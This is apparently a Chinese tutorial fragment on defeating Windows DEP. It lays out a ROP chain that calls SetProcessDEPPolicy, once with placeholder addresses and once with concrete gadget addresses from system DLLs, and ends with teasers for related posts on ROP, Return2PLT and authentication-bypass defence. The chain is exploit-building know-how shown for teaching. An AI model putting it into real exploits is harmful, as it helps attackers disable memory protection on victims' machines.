各函式在windows各個系統的存在情況如下,其中(1)代表不存在,(2)代表將由於預設dep策略設定而失敗:
繞過dep需要構造rop鏈,rop鏈的作用就是用一連串的gadgets來實現這些函式的呼叫關閉dep保護,然後轉到shellcode上執行。
0x????????, # pop ebp # retn
0x????????, # ptr setprocessdeppolicy(「setprocessdeppolicy」的指標)
0x????????, # pop ebx # retn
0x00000000, # dwflags
0x????????, # pop edi # retn
0x????????, # ptr retn(「retn指令」的位址)
0x????????, # pop esi # retn
0x????????, # ptr retn(「retn指令」的位址)
0x????????, # pushad # retn
0x77bf4f42, # retn
0x90909090,
0x7c80df32, # pop ebp # retn
0x7c862144, # ptr to setproccessdeppolicy()
0x7c81ae28, # pop ebx # retn [kernel32.dll]
0x00000000, # 0x00000000(dwflags)
0x7c86ce63, # pop edi # retn [kernel32.dll]
0x77bf54c4, # ptr retn
0x7c87b976, # pop esi # retn [msvcrt.dll]
0x77bf5502, # ptr retn
0x77d23ad9, # pushad # retn [user32.dll]
ROP攻擊技術
前面介紹了ret2libc和ret2plt,這兩個攻擊技術的相通點是函式引數是通過壓棧來傳遞,這也是i386架構的呼叫約定。然而隨著64位伺服器的普及,以及後來越來越廣泛,以致幾乎所有伺服器都公升級到64位的硬體上。根據x86 64 abi的呼叫約定,函式間傳遞引數不再以壓棧的方式,而是以暫存器方式...
ROP攻擊初試 Return2PLT
補充 有點迷,感覺像是return2libc,通篇攻擊貌似沒有涉及到ptl 具體內容在這裡摘取操作步驟,原理有待以後補充 關於plt的介紹來自 最後解釋了一下為什麼寫入資料位元組數是28個a procedural linkage table,也就是plt是過程鏈結表,為每個全域性變數儲存了一段 第一...
怎樣防止繞過認證攻擊
繞過認證是攻擊者不通過認證頁面就進入後台頁面操作,在我們的系統中,要解決這個問題其實挺簡單,我認為需要用下面幾個方式來解決 1.後台資料夾不要用admin,manage等容易比較猜到的英文作為資料夾名 好處在於攻擊者不知道後台路徑的時候很難猜到後台路徑 2.登陸頁面不要用login做為檔名 好處在於...